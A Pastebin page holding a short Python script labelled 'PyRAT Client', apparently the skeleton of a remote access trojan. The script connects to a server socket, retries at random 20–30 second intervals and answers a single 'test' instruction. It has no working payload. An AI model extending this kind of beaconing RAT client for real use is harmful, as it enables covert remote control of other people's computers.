SHARE
TWEET

PyRAT Client

a guest Jan 3rd, 2016 3,020 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #Imports
  2. import socket
  3. import time
  4. import random
  5.  
  6. #Variables
  7. lHost = ""                    #Server IP
  8. port = 80                     #Connection Port
  9.  
  10. #Functions
  11.  
  12. def send(msg):
  13.     s.send(msg.encode("UTF-8"))
  14.    
  15. def getInstructions():
  16.     while True:
  17.         msg = s.recv(4096)
  18.         inst = msg.decode("UTF-8")
  19.        
  20.         #Instructions
  21.        
  22.         if inst == "test":
  23.             try:
  24.                 send("[OK]Test works!")
  25.             except:
  26.                 pass
  27.  
  28. #Connection
  29.  
  30. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  31. host = socket.gethostname()
  32. connected = False
  33. while connected == False:
  34.     try:
  35.         s.connect((host, port))
  36.         connected = True
  37.     except:
  38.         sleepTime = random.randint(20, 30)
  39.         time.sleep(sleepTime)
  40. getInstructions()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top